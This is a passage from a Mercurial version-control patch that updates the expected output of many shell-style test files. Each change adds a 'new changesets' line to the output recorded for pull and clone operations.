   $ hg clone ssh://user@dummy/server client-other
@@ -145,6 +146,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 842e2fac6304
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -229,6 +231,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets a9149a1428e2
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -237,6 +240,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets a9149a1428e2
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -245,6 +249,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 98217d5a1659
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -348,6 +353,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 59e76faf78bd
   (run 'hg update' to get a working copy)
 
 #endif
@@ -367,6 +373,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 59e76faf78bd
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -375,6 +382,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 51c544a58128
   (run 'hg update' to get a working copy)
 
   $ hg -R server graph
@@ -503,6 +511,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d9e379a8c432
   (run 'hg update' to get a working copy)
 
 #endif
@@ -522,6 +531,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d9e379a8c432
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -530,6 +540,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d603e2c0cdd7
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -671,6 +682,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 833be552cfe6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
 #endif
@@ -690,6 +702,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 833be552cfe6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -698,6 +711,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 75d69cba5402
   (run 'hg heads' to see heads)
 
   $ hg -R server graph
@@ -853,6 +867,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 89420bf00fae
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
 #endif
@@ -873,6 +888,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 89420bf00fae
   (run 'hg heads' to see heads)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -881,6 +897,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b35ed749f288
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -998,6 +1015,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cac2cead0ff0
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1006,6 +1024,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cac2cead0ff0
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1014,6 +1033,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets be705100c623
   (run 'hg update' to get a working copy)
 
   $ hg -R server graph
@@ -1138,6 +1158,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets 866a66e18630
   (run 'hg update' to get a working copy)
 
 (creates named branch on head)
@@ -1159,6 +1180,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files
+  new changesets 866a66e18630:55a6f1c01b48
   (run 'hg update' to get a working copy)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1167,6 +1189,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6fd3090135df:55a6f1c01b48
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1315,6 +1338,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets b0ee3d6f51bc
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1323,6 +1347,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets b0ee3d6f51bc
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1331,6 +1356,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d0a85b2252a9:1b58ee3f79e5
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1483,6 +1509,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 2efd43f7b5ba:3d57ed3c1091
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1491,6 +1518,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 2efd43f7b5ba:3d57ed3c1091
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1499,6 +1527,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets de7b9e2ba3f6
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R server graph
@@ -1667,6 +1696,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 720c5163ecf6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-other pull
   pulling from ssh://user@dummy/server
@@ -1677,6 +1707,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 720c5163ecf6
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R ./client-racy pull
   pulling from ssh://user@dummy/server
@@ -1685,6 +1716,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files
+  new changesets a98a47d8b85b
   (run 'hg update' to get a working copy)
 
   $ hg -R server debugobsolete
diff --git a/tests/test-push-warn.t b/tests/test-push-warn.t
--- a/tests/test-push-warn.t
+++ b/tests/test-push-warn.t
@@ -60,6 +60,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 1c9246a22a0a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg push ../a
diff --git a/tests/test-push.t b/tests/test-push.t
--- a/tests/test-push.t
+++ b/tests/test-push.t
@@ -11,6 +11,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ for i in 0 1 2 3 4 5 6 7 8; do
@@ -137,6 +138,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg verify
diff --git a/tests/test-rebase-collapse.t b/tests/test-rebase-collapse.t
--- a/tests/test-rebase-collapse.t
+++ b/tests/test-rebase-collapse.t
@@ -20,6 +20,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -641,6 +642,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 11 changes to 7 files (+1 heads)
+  new changesets f447d5abf5ea:338e84e2e558
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up -q tip
   $ hg tglog
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -156,6 +156,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 8 changes to 3 files (+1 heads)
+  new changesets 24797d4f68de:2f2496ddf49d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd issue4041
diff --git a/tests/test-rebase-named-branches.t b/tests/test-rebase-named-branches.t
--- a/tests/test-rebase-named-branches.t
+++ b/tests/test-rebase-named-branches.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -25,6 +25,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -507,6 +508,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up 3
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-rebase-parameters.t b/tests/test-rebase-parameters.t
--- a/tests/test-rebase-parameters.t
+++ b/tests/test-rebase-parameters.t
@@ -17,6 +17,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-rebase-pull.t b/tests/test-rebase-pull.t
--- a/tests/test-rebase-pull.t
+++ b/tests/test-rebase-pull.t
@@ -54,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 77ae9631bcca
   rebasing 2:ff8d69a621f9 "L1"
   saved backup bundle to $TESTTMP/b/.hg/strip-backup/ff8d69a621f9-160fa373-rebase.hg (glob)
 
@@ -143,6 +144,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 77ae9631bcca
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark norebase
@@ -210,6 +212,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 31cd3a05214e:770a61882ace
   rebasing 3:ff8d69a621f9 "L1"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/ff8d69a621f9-160fa373-rebase.hg (glob)
   $ hg tglog
@@ -252,6 +255,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 00e3b7781125
   rebasing 5:518d153c0ba3 "L1"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/518d153c0ba3-73407f14-rebase.hg (glob)
   $ hg tglog
@@ -304,6 +308,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 88dd24261747
   rebasing 6:0d0727eb7ce0 "L1"
   rebasing 7:c1f58876e3bf "L2"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/0d0727eb7ce0-ef61ccb2-rebase.hg (glob)
@@ -345,6 +350,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 65bc164c1d9b
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "65bc164c1d9b: R6"
@@ -394,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 39c381359968
   nothing to rebase
 
 There is two local heads and we pull a third one.
@@ -420,6 +427,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f7d3e42052f9
   rebasing 7:864e0a2d2614 "L1"
   rebasing 8:6dc0ea5dcf55 "L2"
   saved backup bundle to $TESTTMP/c/.hg/strip-backup/864e0a2d2614-2f72c89c-rebase.hg (glob)
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -18,6 +18,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -420,6 +421,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 9 files (+2 heads)
+  new changesets 9ae2ed22e576:479ddb54a924
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg tglog
   o  8: 'I'
diff --git a/tests/test-relink.t b/tests/test-relink.t
--- a/tests/test-relink.t
+++ b/tests/test-relink.t
@@ -60,6 +60,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 008c0c271c47
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd clone
diff --git a/tests/test-rename-after-merge.t b/tests/test-rename-after-merge.t
--- a/tests/test-rename-after-merge.t
+++ b/tests/test-rename-after-merge.t
@@ -35,6 +35,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge
diff --git a/tests/test-rename-dir-merge.t b/tests/test-rename-dir-merge.t
--- a/tests/test-rename-dir-merge.t
+++ b/tests/test-rename-dir-merge.t
@@ -218,6 +218,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7d51ed18da25
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge
diff --git a/tests/test-rollback.t b/tests/test-rollback.t
--- a/tests/test-rollback.t
+++ b/tests/test-rollback.t
@@ -134,6 +134,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 23b0221f3370:068774709090
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd u
diff --git a/tests/test-setdiscovery.t b/tests/test-setdiscovery.t
--- a/tests/test-setdiscovery.t
+++ b/tests/test-setdiscovery.t
@@ -294,6 +294,7 @@
   adding manifests
   adding file changes
   added 1340 changesets with 0 changes to 0 files (+259 heads)
+  new changesets 1ea73414a91b:1c51e2c80832
   updating to branch a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone -b b . b
@@ -301,6 +302,7 @@
   adding manifests
   adding file changes
   added 304 changesets with 0 changes to 0 files
+  new changesets 1ea73414a91b:513314ca8b3a
   updating to branch b
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -1088,6 +1088,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 8 changes to 6 files
+  new changesets cc01e2b0c59f:33f7f61e6c5e
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle1
@@ -1108,6 +1109,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 8 changes to 6 files
+  new changesets cc01e2b0c59f:33f7f61e6c5e
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle2
diff --git a/tests/test-simple-update.t b/tests/test-simple-update.t
--- a/tests/test-simple-update.t
+++ b/tests/test-simple-update.t
@@ -30,6 +30,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 30aff43faee1
   (run 'hg update' to get a working copy)
 
   $ hg verify
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -102,6 +102,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets 1160648e36ce:ad076bfb429d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -313,6 +314,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R local-bookmarks bookmarks
@@ -400,6 +402,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-ssh-clone-r.t b/tests/test-ssh-clone-r.t
--- a/tests/test-ssh-clone-r.t
+++ b/tests/test-ssh-clone-r.t
@@ -9,6 +9,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -27,6 +28,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -38,6 +40,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -49,6 +52,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -60,6 +64,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -71,6 +76,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -82,6 +88,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -93,6 +100,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -104,6 +112,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -115,6 +124,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -130,6 +140,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -146,6 +157,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -160,6 +172,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files
+  new changesets 4ce51a113780:916f1afdef90
   (run 'hg update' to get a working copy)
   $ cd ..
   $ cd test-2
@@ -170,6 +183,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 0 changes to 0 files (+1 heads)
+  new changesets c70afb1ee985:f03ae5a9b979
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -184,6 +198,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
   $ hg verify
   checking changesets
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -96,6 +96,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets 1160648e36ce:ad076bfb429d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -317,6 +318,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R local-bookmarks bookmarks
@@ -417,6 +419,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 4 files (+1 heads)
+  new changesets 1160648e36ce:1383141674ec
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-static-http.t b/tests/test-static-http.t
--- a/tests/test-static-http.t
+++ b/tests/test-static-http.t
@@ -33,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 02770d679fb8
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local
@@ -64,6 +65,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 4ac2e3648604
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=4ac2e3648604439c580c69b09ec9d93a88d93432 HG_NODE_LAST=4ac2e3648604439c580c69b09ec9d93a88d93432 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT/remote
   (run 'hg update' to get a working copy)
 
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 02770d679fb8
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -110,6 +113,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets a9ebfbe8e587
   updating to branch default
   cloning subrepo sub from static-http://localhost:$HGPORT/sub
   requesting all changes
@@ -117,6 +121,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets be090ea66256:322ea90975df
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local2
   $ hg verify
@@ -182,6 +187,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files (+1 heads)
+  new changesets 68986213bd44:0c325bd2b5a7
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -192,6 +198,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 2 files
+  new changesets 68986213bd44:0c325bd2b5a7
   updating to branch mybranch
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -202,6 +209,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 68986213bd44:4ee3fcef1c80
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -223,6 +223,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 264128213d29
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ rm .hg/strip-backup/*
   $ hg log --graph
@@ -1114,6 +1115,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets 35358f982181:4cf5e92caec2
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg strip -k -r 35358f982181
diff --git a/tests/test-subrepo-deep-nested-change.t b/tests/test-subrepo-deep-nested-change.t
--- a/tests/test-subrepo-deep-nested-change.t
+++ b/tests/test-subrepo-deep-nested-change.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 7f491f53a367
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -173,6 +173,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 089416c11d73
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge 2>/dev/null
    subrepository s diverged (local revision: 7969594, remote revision: aa84837)
diff --git a/tests/test-subrepo-recursion.t b/tests/test-subrepo-recursion.t
--- a/tests/test-subrepo-recursion.t
+++ b/tests/test-subrepo-recursion.t
@@ -269,6 +269,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 3 files
+  new changesets 23376cbba0d8:1326fa26d0c0
   updating to branch default
   cloning subrepo foo from http://localhost:$HGPORT/foo
   requesting all changes
@@ -276,12 +277,14 @@
   adding manifests
   adding file changes
   added 4 changesets with 7 changes to 3 files
+  new changesets af048e97ade2:65903cebad86
   cloning subrepo foo/bar from http://localhost:$HGPORT/foo/bar (glob)
   requesting all changes
   adding changesets
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 4904098473f9:31ecbdafd357
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ cat clone/foo/bar/z.txt
diff --git a/tests/test-subrepo-relative-path.t b/tests/test-subrepo-relative-path.t
--- a/tests/test-subrepo-relative-path.t
+++ b/tests/test-subrepo-relative-path.t
@@ -47,6 +47,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets fdfeeb3e979e
   updating to branch default
   cloning subrepo sub from http://localhost:$HGPORT/sub
   requesting all changes
@@ -54,6 +55,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 863c1745b441
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Checking cloned repo ids
@@ -80,6 +82,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets fdfeeb3e979e
   updating to branch default
   cloning subrepo sub from ssh://user@dummy/sub
   requesting all changes
@@ -87,6 +90,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 863c1745b441
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg -R sshclone push -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/`pwd`/cloned
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -708,6 +708,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 925c17564ef8
   (run 'hg update' to get a working copy)
 
 should pull t
@@ -737,6 +738,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 52c0adc0515a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "925c17564ef8: 13"
   2 other heads for branch "default"
@@ -1053,6 +1055,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 2 files
+  new changesets 19487b456929:be5eb94e7215
   (run 'hg update' to get a working copy)
   $ hg -R issue1852b update
   abort: default path for subrepository not found (in subrepository "sub/repo") (glob)
@@ -1079,6 +1082,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 19487b456929
   cloning subrepo sub/repo from issue1852a/sub/repo (glob)
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1140,6 +1144,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets c82b79fdcc5b
    subrepository sub/repo diverged (local revision: f42d5c7504a8, remote revision: 46cd4aac504c)
   (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
